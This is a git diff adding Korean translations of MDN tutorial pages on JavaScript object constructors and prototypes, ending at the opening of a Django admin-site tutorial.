+}</pre>
+ </li>
+ <li>이제 생성자로 객체 인스턴스를 만들기 위해, 아래에 이 코드를 추가하세요:
+  <pre class="brush: js">var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre>
+ </li>
+</ol>
+
+<p>이제 이전에 해보았듯이, 브라우저의 자바스크립트 콘솔에서 프로퍼티와 메소드를 사용할 수 있습니다:</p>
+
+<pre class="brush: js">person1['age']
+person1.interests[1]
+person1.bio()
+// etc.</pre>
+
+<div class="note">
+<p><strong>노트</strong>: 만약 실행에 문제가 생긴다면, 저희가 준비한 코드와 비교해보세요. <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-finished.html">oojs-class-finished.html</a> (<a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-finished.html">또한 실제로 실행되는 모습을 보세요</a>).</p>
+</div>
+
+<h3 id="추가_예제">추가 예제</h3>
+
+<p>이를 시작하기 위해서, 몇 개의 객체를 더 생성하는 코드를 추가해보세요. 그리고 생성된 객체 인스턴스의 멤버들을 사용하거나 바꿔보세요.</p>
+
+<p>더 나아가, 우리의 <code>bio()</code> 메소드엔 몇 가지 문제점이 있습니다. 먼저 결과가 항상 대명사 "He"를 포함한다는 점입니다. 생성된 사람이 여성이거나 다른 성별 분류를 가질지라도 말이죠. 그리고 <code>interests</code> 배열에 몇 개가 포함되어 있더라도 bio는 2개의 취미만을 출력합니다. 클래스 정의 (생성자)에서 이를 해결할 방법이 있을까요? 자유롭게 생성자를 수정해보세요. (약간의 조건문과 반복문이 필요할지도 모르겠습니다). 어떻게 성별에 따라, 혹은 취미의 개수에 따라 문장이 다르게 구성되어야할지 생각해보세요 .</p>
+
+<div class="note">
+<p><strong>노트</strong>: 하다가 막힌다면, 저희가 제공하는 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">GitHub 저장소의 모법 답안</a> (<a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">그리고 실행 버전</a>)을 참고하세요. 하지만 일단 직접 해보시죠!</p>
+</div>
+
+<h2 id="객체_인스턴스를_생성하는_다른_방법들">객체 인스턴스를 생성하는 다른 방법들</h2>
+
+<p>여태까지 객체 인스턴스를 만드는 두 가지 방법을 살펴보았습니다. <a href="/ko/docs/Learn/JavaScript/Objects/Basics#Object_basics">객체 리터럴을 선언하는 방법</a>과, 생성자 함수를 사용하는 방법(위를 보세요)이죠.</p>
+
+<p>이것들은 잘 동작하지만, 다른 방법들도 있습니다. 웹에서 정보를 찾다가 마주칠 경우를 대비해 익숙해져보는 것도 좋을 것 같습니다.</p>
+
+<h3 id="Object()_생성자">Object() 생성자</h3>
+
+<p>첫번째로, 새 객체를 만들기 위해 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object">Object()</a></code> 생성자를 사용할 수 있습니다. 네, 최초의 object 역시 생성자를 가지고 있습니다. 빈 객체를 생성하는 함수이죠.</p>
+
+<ol>
+ <li>브라우저의 자바스크립트 콘솔에 아래 코드를 입력해보세요:
+  <pre class="brush: js">var person1 = new Object();</pre>
+ </li>
+ <li>이는 빈 객체를 <code>person1</code> 변수에 담습니다. 이제 이 객체에 점 표기법이나 괄호 표기법을 이용해 프로퍼티와 메소드들을 추가할 수 있습니다. 이 예제 코드를 콘솔 창에 입력해보세요.
+  <pre class="brush: js">person1.name = 'Chris';
+person1['age'] = 38;
+person1.greeting = function() {
+  alert('Hi! I\'m ' + this.name + '.');
+};</pre>
+ </li>
+ <li>사전에 프로퍼티와 메소드를 정의하기 위해, <code>Object()</code> 생성자의 파라미터로 객체 리터럴을 전달할 수도 있습니다. 이 예제 코드를 콘솔 창에 입력해보세요.
+  <pre class="brush: js">var person1 = new Object({
+  name: 'Chris',
+  age: 38,
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+});</pre>
+ </li>
+</ol>
+
+<h3 id="create()_함수_사용">create() 함수 사용</h3>
+
+<p>생성자는 여러분의 코드에 규칙을 부여해줍니다. 일단 생성자를 만들어두면, 이를 이용해 원하는대로 인스턴스를 생성할 수 있고, 이 인스턴스가 어디서 유래했는지 명백합니다.</p>
+
+<p>하지만 몇몇 사람들은 객체 인스턴스들을 생성할 때 먼저 생성자를 만들기를 원하지 않습니다. 특히 그들이 적은 수의 객체만을 생성할 때 말이죠. 자바스크립트는 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code>라는 내장함수를 가지고 있어 이를 가능하게 해줍니다. 이를 이용하면, 이미 존재하는 객체를 이용해 새로운 객체를 만들 수 있습니다.</p>
+
+<ol>
+ <li>이전 섹션에서 완료한 예제를 브라우저에서 열어, 아래 코드를 콘솔창에 입력해보세요.
+  <pre class="brush: js">var person2 = Object.create(person1);</pre>
+ </li>
+ <li>이제 이 코드를 입력해보세요.
+  <pre class="brush: js">person2.name
+person2.greeting()</pre>
+ </li>
+</ol>
+
+<p><code>person2</code>가 <code>person1</code>을 기반으로 만들어졌습니다. 새 객체는 원 객체와 같은 프로퍼티와 메소드들을 가집니다. </p>
+
+<p><code>create()</code> 함수의 한 가지 단점은 익스플로러 8에서는 지원하지 않는다는 점입니다. 따라서 오래된 브라우저들까지 지원하고 싶다면 생성자를 사용하는 것이 효과적입니다.</p>
+
+<p>다음에 <code>create()</code> 함수의 효과에 대해 더 살펴보겠습니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 글은 객체지향 이론을 요약하여 설명해줍니다. 모든 부분을 다루지는 않지만, 지금 어떤 것들을 다루고 있는지에 대한 아이디어 정도는 얻을 수 있습니다. 게다가 객체 인스턴스를 생성하는 여러가지 방법에 대해서도 알아보기 시작했습니다.</p>
+
+<p>다음 글에서는 자바스크립트 객체 프로토타입에 대해 탐험해보겠습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/javascript/objects/object_prototypes/index.html b/files/ko/learn/javascript/objects/object_prototypes/index.html
new file mode 100644
index 0000000000..f2eaf03498
--- /dev/null
+++ b/files/ko/learn/javascript/objects/object_prototypes/index.html
@@ -0,0 +1,274 @@
+---
+title: Object prototypes
+slug: Learn/JavaScript/Objects/Object_prototypes
+tags:
+  - 객체 지향
+  - 상속
+  - 자바스크립트
+  - 프로토타입
+translation_of: Learn/JavaScript/Objects/Object_prototypes
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">Javascript에서는 객체를 상속하기 위하여 프로토타입이라는 방식을 사용합니다. 본 문서에서는 프로토타입 체인이 동작하는 방식을 설명하고 이미 존재하는 생성자에 메소드를 추가하기 위해 프로토타입 속성을 사용하는 법을 알아봅니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수조건:</th>
+   <td>컴퓨터 기본지식, HTML과 CSS에 대한 기본적인 이해,자바스크립트에 어느 정도 익숙할 것 (see <a href="/ko/docs/Learn/JavaScript/First_steps">First steps</a> and <a href="/ko/docs/Learn/JavaScript/Building_blocks">Building blocks</a>).  OOJS 기초 지식 (see <a href="/ko/docs/Learn/JavaScript/Objects/Basics">Introduction to objects</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표:</th>
+   <td>Javascript 객체 프로토타입을 이해하고 프로토타입 체인이 어떻게 동작하는지, 또 프로토타입 속성에 새 메소드를 추가하는 방법을 배웁니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="프로토타입_기반_언어"> 프로토타입 기반 언어?</h2>
+
+<p>JavaScript는 흔히 <strong>프로토타입 기반 언어(prototype-based language)</strong>라 불립니다.— 모든 객체들이 메소드와 속성들을 상속 받기 위한 템플릿으로써 <strong>프로토타입 객체(prototype object)</strong>를 가진다는 의미입니다. 프로토타입 객체도 또 다시 상위 프로토타입 객체로부터 메소드와 속성을 상속 받을 수도 있고 그 상위 프로토타입 객체도 마찬가지입니다. 이를 <strong>프로토타입 체인(prototype chain)</strong>이라 부르며 다른 객체에 정의된 메소드와 속성을 한 객체에서 사용할 수 있도록 하는 근간입니다.</p>
+
+<p>정확히 말하자면 상속되는 속성과 메소드들은 각 객체가 아니라 객체의 생성자의 <code>prototype</code>이라는 속성에 정의되어 있습니다.</p>
+
+<p>JavaScript에서는 객체 인스턴스와 프로토타입 간에 연결(많은 브라우저들이 생성자의 <code>prototype</code> 속성에서 파생된 <code>__proto__</code> 속성으로 객체 인스턴스에 구현하고 있습니다.)이 구성되며 이 연결을 따라 프로토타입 체인을 타고 올라가며 속성과 메소드를 탐색합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 객체의 prototype(<code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(obj)</a></code>함수 또는 deprecated 된 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code>속성으로 접근 가능한)과 생성자의 <code>prototype</code> 속성의 차이를 인지하는 것이 중요합니다. 전자는 개별 객체의 속성이며 후자는 생성자의 속성입니다. 이 말은 <code>Object.getPrototypeOf(new Foobar())</code>의 반환값이 <code>Foobar.prototype</code>과 동일한 객체라는 의미입니다.</p>
+</div>
+
+<p>자세히 알기 위해 예제를 하나 봅시다.</p>
+
+<h2 id="프로토타입_객체_이해하기">프로토타입 객체 이해하기</h2>
+
+<p><code>Person()</code> 생성자를 작성했던 예제 코드로 되돌아가 봅시다. — 브라우저로 예제 코드를 불러 오시구요. 이전 페이지에서 작업했던 예제 코드를 날려버렸다면 <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> 페이지를 방문해 주세요. (<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">source code</a>도 보시구요).</p>
+
+<p>이 예제에서 생성자 함수를 정의했었습니다:</p>
+
+<pre class="brush: js">function Person(first, last, age, gender, interests) {
+
+  // 속성과 메소드 정의
+  this.first = first;
+  this.last = last;
+//...
+}</pre>
+
+<p>그리고 인스턴스도 하나 만들었구요:</p>
+
+<pre class="brush: js">var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre>
+
+<p>Javascript 콘솔에서 "person1."을 치게 되면 브라우저는 아래처럼 해당 객체의 멤버 이름을 자동 완성 팝업으로 보여줄 것입니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13853/object-available-members.png" style="display: block; margin: 0 auto;"></p>
+
+<p>위에서 <code>person1</code>의 프로토타입 객체인 <code>Person()</code>에 정의된 멤버들 — <code>name</code>, <code>age</code>, <code>gender</code>, <code>interests</code>, <code>bio</code>, <code>greeting</code>을 볼 수 있습니다. 또한 — <code>watch</code>, <code>valueOf</code>처럼 <code>Person()</code>의 프로토타입 객체인 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>에 정의된 다른 멤버들도 보실 수 있습니다. 이는 프로토타입 체인이 동작한다는 증거입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13891/MDN-Graphics-person-person-object-2.png" style="display: block; height: 150px; margin: 0px auto; width: 700px;"></p>
+
+<p>그럼 실제로는 <code>Object</code>에 정의되어 있는 메소드를 <code>person1</code>에서 호출하면 어떻게 될까요?<br>
+ 아래 처럼 말이죠:</p>
+
+<pre class="brush: js">person1.valueOf()</pre>
+
+<p>이 메소드는 호출된 객체의 값을 단순 반환합니다. — 직접 실행해 보세요! 이때 일어나는 일은 아래와 같습니다:</p>
+
+<ul>
+ <li>브라우저는 우선 <code>person1</code> 객체가 <code>valueOf()</code> 메소드를 가지고 있는지 체크합니다.</li>
+ <li>없으므로 <code>person1</code>의 프로토타입 객체(<code>Person()</code> 생성자의 프로토타입)에 <code>valueOf()</code> 메소드가 있는지 체크합니다.</li>
+ <li>여전히 없으므로 <code>Person()</code> 생성자의 프로토타입 객체의 프로토타입 객체(<code>Object()</code> 생성자의 프로토타입)가 <code>valueOf()</code> 메소드를 가지고 있는지 체크합니다. 여기에 있으니 호출하며 끝납니다!</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 프로토타입 체인에서 한 객체의 메소드와 속성들이 다른 객체로 <strong>복사되는 것이 아님</strong>을 재차 언급합니다. — 위에서 보시다 시피 체인을 타고 올라가며 접근할 뿐입니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 특정 객체의 프로토타입 객체에 바로 접근하는 공식적인 방법은 없습니다. — Javascript 언어 표준 스펙에서<code>[[prototype]]</code>으로 표현되는 프로토타입 객체에 대한 "링크"는 내부 속성으로 정의되어 있습니다. ({{glossary("ECMAScript")}} 참조). 하지만 많은 수의 모던 브라우저들이  <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code> (앞뒤로 언더바 2개씩) 속성을 통해 특정 객체의 프로토타입 객체에 접근할 수 있도록 구현하였습니다. 예를 들자면 <code>person1.__proto__</code> 또는 <code>person1.__proto__.__proto__</code> 코드로 체인이 어떻게 구성되어 있는지 확인해 보세요!</p>
+
+<p>ECMAScript 2015부터는 <code>Object.getPrototypeOf(obj)</code> 함수를 통해 객체의 프로토타입 객체에 <strong>바로 접근할 수 있게</strong> 되었습니다..</p>
+</div>
+
+<h2 id="프로토타입_속성_상속_받은_멤버들이_정의된_곳">프로토타입 속성: 상속 받은 멤버들이 정의된 곳</h2>
+
+<p>그럼 상속 받은 속성과 메소드들은 어디에 정의되어 있을까요? <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code> 레퍼런스 페이지에 가시면 좌측에 수 많은 속성과 메소드들이 나열되어 있는 것을 볼 수 있습니다. — 위 스크린샷에서 person1가 상속받은 멤버들보다 훨씬 많죠. 일부는 상속 되었지만 나머지는 아닙니다. — 왜일까요?</p>
+
+<p>정답은 상속 받는 멤버들은 <code>prototype</code> 속성(sub-namespace라고도 하죠)에 정의되어 있기 때문입니다. — <code>Object.</code>로 시작하는게 아니라, <code>Object.prototype.</code>로 시작하는 것들이죠. <code>prototype</code> 속성도 하나의 객체이며 프로토타입 체인을 통해 상속하고자 하는 속성과 메소드를 담아두는 버킷으로 주로 사용되는 객체입니다.</p>
+
+<p>So <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/watch">Object.prototype.watch()</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf">Object.prototype.valueOf()</a></code>등등은, 생성자를 통해 새로 생성되는 인스턴스는 물론 <code>Object.prototype</code>을 상속 받는 객체라면 어떤 객체에서든지 접근할 수 있습니다.</p>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is()</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>등 <code>prototype</code> 버킷에 정의되지 않은 멤버들은 상속되지 않습니다. 이 것들은 <code>Object()</code> 생성자에서만 사용할 수 있는 멤버들이죠.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 척 보기엔 이상합니다. — 함수에 불과한 생성자에 멤버를 정의한다니요? 함수 역시 객체의 하나입니다 — 못 미더우시면 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code> 생성자 레퍼런스 페이지를 확인해 보세요.</p>
+</div>
+
+<ol>
+ <li>prototype 속성을 직접 확인해 볼 수 있습니다. — 예제로 돌아가서 Javascript console에 아래 코드를 타이핑 해 보세요:
+  <pre class="brush: js">Person.prototype</pre>
+ </li>
+ <li>출력되는 것이 별로 많지 않을 겁니다 — 아직 이 커스텀 생성자 프로토타입에 아무것도 정의하지 않았거든요! 기본적으로 생성자의 프로토타입은 비어있습니다. 이번에는 아래 코드를 실행해 봅시다:
+  <pre class="brush: js">Object.prototype</pre>
+ </li>
+</ol>
+
+<p>위의 예제에서 확인했듯이 <code>Object</code>를 상속받은 객체에서 사용 가능한 수 많은 메소드들이 <code>Object</code>의 <code>prototype</code> 속성에 정의되어 있음을 알 수 있습니다.</p>
+
+<p>Javascript 전반에 걸쳐 프로토타입 체인 상속이 어떻게 구성되어 있는지 확인할 수 있습니다 — 전역 객체인 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>의 프로토타입에 정의된 메소드와 속성들을 체크해 보세요. 이 프로토타입 객체들에는 이미 많은 수의 메소드가 정의되어 있으며 이는 아래처럼 문자열 객체를 생성 했을 때:</p>
+
+<pre class="brush: js">var myString = 'This is my string.';</pre>
+
+<p><code>myString</code> 인스턴스가 생성되는 즉시 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/String/split">split()</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf">indexOf()</a></code>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a></code>등의 문자열을 위한 유용한 메소드들을 사용할 수 있는 이유입니다.</p>
+
+<div class="warning">
+<p><strong>Important</strong>: <code>prototype</code> 속성은 Javascript에서 가장 헷갈리는 명칭중 하나입니다. — 보통 <code>this</code>가 현재 객체의 프로토타입 객체를 가리킬 것이라 오해하지만 그렇지 않죠. (프로토타입 객체는 <code>__proto__</code> 속성으로 접근 가능한 내장 객체인 것 기억 하시나요?). 대신에 <code>prototyp</code>e 속성은 상속 시키려는 멤버들이 정의된 객체를 가리킵니다.</p>
+</div>
+
+<h2 id="create()_다시보기">create() 다시보기</h2>
+
+<p>이전에 새 인스턴스를 생성하기 위해서 <code>Object.create()</code> 메소드를 사용하는 법을 알아 보았습니다.</p>
+
+<ol>
+ <li>예를 들어서 이전 예제에서 아래 코드를 Javascript console에서 실행했었다면:
+  <pre class="brush: js">var person2 = Object.create(person1);</pre>
+ </li>
+ <li><code>create()</code> 메소드가 실제로 하는 일은 주어진 객체를 프로토타입 객체로 삼아 새로운 객체를 생성합니다. 여기서 person2는 person1을 프로토타입 객체로 삼습니다. 아래 코드를 실행하여 이를 확인할 수 있습니다:
+  <pre class="brush: js">person2.__proto__</pre>
+ </li>
+</ol>
+
+<p>콘솔 상에는 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">person1</span></font>이 출력됩니다.</p>
+
+<h2 id="생성자_속성">생성자 속성</h2>
+
+<p>모든 생성자 함수는 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code> 속성을 지닌 객체를 프로토타입 객체로 가지고 있습니다. 이 <code>constructor</code> 속성은 원본 생성자 함수 자신을 가리키고 있습니다. 다음 장에서 볼 수 있듯이 <code>Person.prototype</code> 속성(또는 위 절에서 언급된 아무 생성자 함수의 prototype 속성)에 정의된 속성들은 <code>Person()</code> 생성자로 생성된 모든 인스턴스에서 사용할 수 있습니다. 그러므로 person1과 person2에서도 constructor 속성에 접근할 수 있습니다.</p>
+
+<ol>
+ <li>예를 들어 아래 코드를 콘솔에서 실행해 보세요:
+  <pre class="brush: js">person1.constructor
+person2.constructor</pre>
+
+  <p>두 구문 모두 <code>Person()</code> 생성자 함수를 반환할 것입니다.</p>
+
+  <p><code>constructor</code> 속성에 괄호를 붙이고 실행하여(인자가 필요하면 전달하구요) 새 인스턴스를 생성하는 트릭이 있습니다. 어쨌든 생성자도 함수의 일종이므로 괄호를 붙이면 실행할 수 있습니다; new 키워드를 통해 실행하면 함수를 인스턴스를 생성하기 위한 생성자로 사용할 수 있죠.</p>
+ </li>
+ <li>아래 코드를 실행해 보세요:
+  <pre class="brush: js">var person3 = new person1.constructor('Karen', 'Stephenson', 26, 'female', ['playing drums', 'mountain climbing']);</pre>
+ </li>
+ <li>새로 생성된 객체를 테스트 해보세요, 아래처럼요:
+  <pre class="brush: js">person3.name.first
+person3.age
+person3.bio()</pre>
+ </li>
+</ol>
+
+<p>잘 동작함을 알 수 있습니다. 이런 방식을 자주 사용할 필요는 없지만 실행 도중 명시적인 생성자 함수를 예측할 수 없는 상황에서 인스턴스를 생성해야 하거나 하는 경우 유용하게 사용할 수 있는 방법입니다.</p>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code> 속성은 여러 사용법이 있습니다. 예를 들어 인스턴스의 생성자 이름이 필요한 경우 아래의 코드로 알아낼 수 있습니다:</p>
+
+<pre class="brush: js">instanceName.constructor.name</pre>
+
+<p>아래 코드도 시험해 보세요:</p>
+
+<pre class="brush: js">person1.constructor.name
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>constructor.name</code> 는 변경이 가능하므로(상속이나 바인딩, 전처리, 트랜스파일러 등에 의해) 복잡한 로직에 적용하기 위해서는 <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></code> 연산자를 사용하세요.</p>
+</div>
+
+<ol>
+</ol>
+
+<h2 id="프로토타입_수정하기">프로토타입 수정하기</h2>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">생성자의 </span></font>prototype</code> 속성을 수정하는 법에 대해 알아봅시다(프로토타입에 메소드를 추가하면 해당 생성자로 생성된 모든 객체에서 사용 가능합니다).</p>
+
+<ol>
+ <li><a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> 예제로 돌아가서 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">source code</a>를 다운 받으세요. 기존 코드에 아래 샘플 코드를 추가하여 <code>prototype</code> 속성에 새 메소드를 추가하세요:
+
+  <pre class="brush: js">Person.prototype.farewell = function() {
+  alert(this.name.first + ' has left the building. Bye for now!');
+};</pre>
+ </li>
+ <li>저장한 코드를 브라우저로 실행하고 콘솔에서 아래 코드를 실행해 보세요.
+  <pre class="brush: js">person1.farewell();</pre>
+ </li>
+</ol>
+
+<p>생성자에서 지정했던 person의 name이 alert 창으로 출력되는 것을 확인할 수 있습니다. 매우 유용한 기능이지만 중요한 점은 prototype에 새 메소드를 추가하는 순간 동일한 생성자로 생성된 모든 객체에서 추가된 메소드를 바로 사용할 수 있다는 점입니다.</p>
+
+<p>잠시 정리해 봅시다. 예제에서는 생성자를 정의하고, 객체를 생성하였으며, 그 이후에 프로토타입에 새 메소드를 추가하였습니다:</p>
+
+<pre class="brush: js">function Person(first, last, age, gender, interests) {
+
+  // 속성과 메소드 정의
+
+}
+
+var person1 = new Person('Tammi', 'Smith', 32, 'neutral', ['music', 'skiing', 'kickboxing']);
+
+Person.prototype.farewell = function() {
+  alert(this.name.first + ' has left the building. Bye for now!');
+};</pre>
+
+<p>그런데도 person1에서 바로 farewell() 메소드를 사용할 수 있습니다 - 자동으로 업데이트 되기 때문이죠(역주:원문은 이런 뉘앙스입니다만 실제로는 프로토타입 객체는 모든 인스턴스에서 공유하기 때문에 정의하는 즉시 별도의 갱신 과정 없이 접근이 가능합니다).</p>
+
+<div class="note">
+<p><strong>Note</strong>: 코드가 잘 동작하지 않는다면 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-prototype.html">oojs-class-prototype.html</a> 코드를 참조하세요 (<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-prototype.html">running live</a> 페이지도 보시구요).</p>
+</div>
+
+<p>prototype에 속성을 정의하는 경우는 별로 본 적이 없을겁니다. 왜냐면 별로 좋은 방법이 아니거든요. 속성을 추가할 때 아래와 같이 할 수 있습니다:</p>
+
+<pre class="brush: js">Person.prototype.fullName = 'Bob Smith';</pre>
+
+<p>사람들이 항상 밥 스미스로 부르지 않을 수 있으니 별로 좋은 방법 같지는 않아 보입니다. <code>fullname</code>을 <code>name.first</code>와 <code>name.last</code>로 나누어 보죠:</p>
+
+<pre class="brush: js">Person.prototype.fullName = this.name.first + ' ' + this.name.last;</pre>
+
+<p>이 경우 <code>this</code>는 함수 범위가 아닌 전역 범위를 가리키므로 코드가 의도대로 동작하지 않습니다. 이대로 실행해도 <code>undefined undefined</code>만 볼 수 있죠. 윗 절에서 프로토타입에 정의한 메소드 내에서는 정상적으로 동작하는데 이는 코드가 함수 범위 내에 있으며 객체의 멤버 함수로써 동작하기에 객체 범위로 전환되었기 때문입니다. 따라서 프로토타입에 상수(한 번 할당하면 변하지 않는 값)를 정의하는 것은 가능하지만 일반적으로 생성자에서 정의하는 것이 낫습니다.</p>
+
+<p>사실 일반적인 방식으로는 속성은 생성자에서, 메소드는 프로토타입에서 정의합니다. 생성자에는 속성에 대한 정의만 있으며 메소드는 별도의 블럭으로 구분할 수 있으니 코드를 읽기가 훨씬 쉬워집니다. 아래처럼요:</p>
+
+<pre class="brush: js">// 생성자에서 속성 정의
+
+function Test(a, b, c, d) {
+  // 속성 정의
+}
+
+// 첫 메소드 정의
+
+Test.prototype.x = function() { ... };
+
+// 두번째 메소드 정의
+
+Test.prototype.y = function() { ... };
+
+// 그 외.</pre>
+
+<p>이런 패턴은 Piotr Zalewa의 <a href="https://github.com/zalun/school-plan-app/blob/master/stage9/js/index.js">school plan app</a> 예제 코드에서 볼 수 있습니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 글에서는 객체 프로토타입에 대한 설명과 프로토타입 체인을 통해 다른 객체를 상속하는 방법, 프로토타입 속성과 생성자에 새 메소드를 추가하는 방법과 그와 관련된 지식을 다루고 있습니다.</p>
+
+<p>다음 글에서는 직접 만든 객체간의 상속을 구현하는 방법에 대해 알아봅시다.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/server-side/django/admin_site/index.html b/files/ko/learn/server-side/django/admin_site/index.html
new file mode 100644
index 0000000000..086f4e99aa
--- /dev/null
+++ b/files/ko/learn/server-side/django/admin_site/index.html
@@ -0,0 +1,357 @@
+---
+title: 'Django Tutorial Part 4: Django admin site'
+slug: Learn/Server-side/Django/Admin_site
+translation_of: Learn/Server-side/Django/Admin_site
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</div>
+
+<p class="summary"><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> website의 모델을 만들었으므로, 우리는 Django Admin 을 이용해서 "실제" book data를 추가할 것입니다. 첫째로 우리는 당신에게 관리자 사이트에 모델들을 등록는 방법과, 이후 어떻게 로그인해서 데이터를 만들지를 보여줄 것입니다. 끝으로는 Admin site를 더 개선할 수 있는 방법들에 대해서 알아볼 것입니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 준비:</th>
+   <td>첫째로 완료하세요: <a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>장고 관리자 사이트의 이득과 한계를 이해하고, 모델을 위한 여러 레코드들을 생성하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
